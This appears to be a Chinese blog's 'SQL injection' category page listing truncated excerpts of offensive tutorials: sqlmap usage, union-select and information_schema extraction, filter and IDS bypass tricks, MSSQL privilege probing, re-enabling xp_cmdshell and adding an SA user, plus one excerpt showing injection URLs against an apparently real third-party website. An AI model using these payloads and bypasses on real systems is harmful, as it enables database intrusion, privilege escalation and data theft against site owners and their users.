随笔分类 - 【SQL注入】
摘要:测试环境:ubuntu 10.10 sqlmap/1.0-dev (r4405) 转载请说明来源:http://hi.baidu.com/nginxshell & lostwolf and http://lcx.cc/?FoxNews=1826.html建议linux下使用sqlmap windows下容易报错 更新升级 : sqlmap -update svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev 帮助: sqlmap -h ******************基本步骤**************
阅读全文
摘要:1、运用编码技术绕过如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)2、通过空格绕过如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or” swords” =‘swords”,由于mssql的松散性,我们可以把or ”swords” 之间的空格去掉,并不影响运行。3、运用字符串判断代替用经典的or 1=1判断绕过,如or ”swords” =”swords”这个方法就是网上在讨论的。4、通过类型转换修饰符N绕过可以说这是一个不错的想法
阅读全文
摘要:我举动力文章的例子,他的是28个字段,加入admin表5个字段,那么 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin * 就是5个字段?这样来爆admin里边的所有表名,但注意 * 确实代表了所有admin表的字段。如果正好比如username在可显示位置,他就会显示在页面上。
阅读全文
摘要:判断是否存在注入:首先,PHP和ASP判断注入的方法一样,在一个动态连接后面加上and 1=1,and 1=2看其返回结果即可判断.两次返回结果不相同,即可初步判断为有注入点.判断字段大小:接下来,对付php猜字段的方法,我们用order by.语法如下:CODE:http://127.0.0.1/1.php?id=1 order by 40 //如果返回正常,说明实际的字段要比40大.那么我们继续加.一直加到返回错误.CODE:譬如当http://127.0.0.1/1.php?id=1 order by 45的时候出错了,那么我们就知道字段大小为4.UNION SELECT:知道字段大小以
阅读全文
摘要:当我们对一个运行IDS系统的服务器进行SQL注射时,我们往往会遇到很大的麻烦,因为我们的注射语句被过滤了,如何规避这种检测手段就成了一门新的技术,本文就对此规避技术提出十一条思路和方法,与大家商戳。一、 运用编码技术绕过,如URLEncode编码,ASCII编码绕过。如or 1=1即%6f%72%20%31%3d%31Test即CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)二、 通过空格绕过,如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or’swords’=‘swords’,由于mssql的松散性,我们可以把or ‘swords’之间的空格去掉
阅读全文
摘要:服务器只有一个站,又找不到注入点怎么办? 你可以试试在搜索框,登陆,任何框框里放个单引号,看看是否报错 初级部分 加个单引号',后面随便,随便填个密码,点击登陆 典型的SQL注入判断权限: ' and user>0-- 明显的sa权限获取数据库名字: ' and db_name()>0-- 很容易获取到,数据库名,如果不是sa权限 ,比如public权限,我们可以通过差异备份获取shell,但本教程不必了下面开始高级部分:就不截图了,就是把下面代码放入登录框执行一:建表,3个字段';c...
阅读全文
摘要:表名和字段名的获得适用情况:1)数据库是MSSQL2)连接数据库的只是普通用户3)不知道ASP源代码可以进行的攻击1)对数据内容进行添加,查看,更改实例:本文件以为列进行测试攻击。第一步:在输入用户名处输入单引号,显示Microsoft OLE DB Provider for SQL Server 错误 80040e14 字符串 之前有未闭合的引号。 /user/wantpws.asp,行63 说明没有过滤单引号且数据库是MSSQL.第二步:输入a;use master;--显示Microsoft OLE DB Provider for SQL Server 错误 80040e21 多步LE
阅读全文
摘要:MySQL注入数据库时,我们可以利用内置的变量来得到更多的mysql信息,下面就让我们一起来了解MySQL注入利用的变量。当我们注射mysql库的输入点的时候,可以通过version()/user()/database()/password()等内置函数来得到mysql的相关信息,其实我们在注射的时候可以利用mysql内置的变量来得到更多的mysql信息其中version()可以写成@@version来把version当做变量来读取,这样一样可以得到,其他的内置是不可以写成变量的形式.大家都应该用过利用pangolin来注入mysql库的注射点,认真的朋友都应该知道可以的得到basedir和d
阅读全文
摘要:大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好... oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限.. 先说下数据库的注释:access支持null和%00注释; mssql支持--和;的注视;mysql支持/*的支持;oracle支持--的注视 这里也许大家说了如果mssql过滤了;注视,该怎么区别oracle和mssql数据库呢,如果是oracle的库,一旦出错的话,很多时候就会出现oracle.odbc等之类的存储过程出错的语...
阅读全文
摘要:1.判断是否存在注入,加';and 1=1;and 1=2 2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询 3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10 4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。 5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.us
阅读全文
摘要:经过我的收集,大部分的防注入程序都过滤了以下关键字: and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 对于关键字的过滤,以下是我收集的以及我个人的一些想法。 1、运用编码技术绕过 如URLEncode编码,ASCII编码绕过。例如or 1=1即 %6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CH...
阅读全文
摘要://看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --数字类型and char(124)%
阅读全文
摘要:MySql数据库的版本够了,不需要暴力猜表的,而是“查”表表可以爆了,出来了,字段出不来怎么办?其实字段也可以查出查表段时的格式是: +union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=数据库名字的hex order by table_schema limit 6,7)t limit 1-- 那么,查字段的格式就是: +union select 1,2,column_name from (select * from information_schema.c
阅读全文
摘要:http://www.rfidchina.org/products/product.php?id=9740URL后面加上'后,返回的页面虽然没有什么错误信息之类的,页面出错缺失了内容,然后是and 1=1 、and 1=2 ,分别是正常信息和'的页面,在9740前面加了个负号“ - ” ,它没什么意义,和and 1=2 一个作用,出错,http://www.rfidchina.org/products/product.php?id=-9740然后是union select 联合选择……最终得到http://www.rfidchina.org/products/product.p
阅读全文
摘要:现在有很多防注入程序屏蔽了 and、1=1、1=2 类似这样的关键字,使用这样的方法有时不能探测到注入点了。 那么是否有新的方法能够探测注入点呢? 经过一段时间的研究,发现了更好的方法。哈哈,特此共享一下。 现在假设有一个新闻页面,URL 是 http://gzkb.goomoo.cn/news.asp?id=123, 1. 在浏览器中打开,可以看到一个正常的新闻页面; 2. 在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上
阅读全文
摘要:平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句,有兴趣的朋友可以试试,类似MYSQL的group_concat !效果还是不错的!测试1:SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1测试2:create table dirs(paths varchar(100),pa
阅读全文
摘要:sql2005恢复xp_cmdshell恢复:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;关闭:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;零、----------------- 添加SA用户--------
阅读全文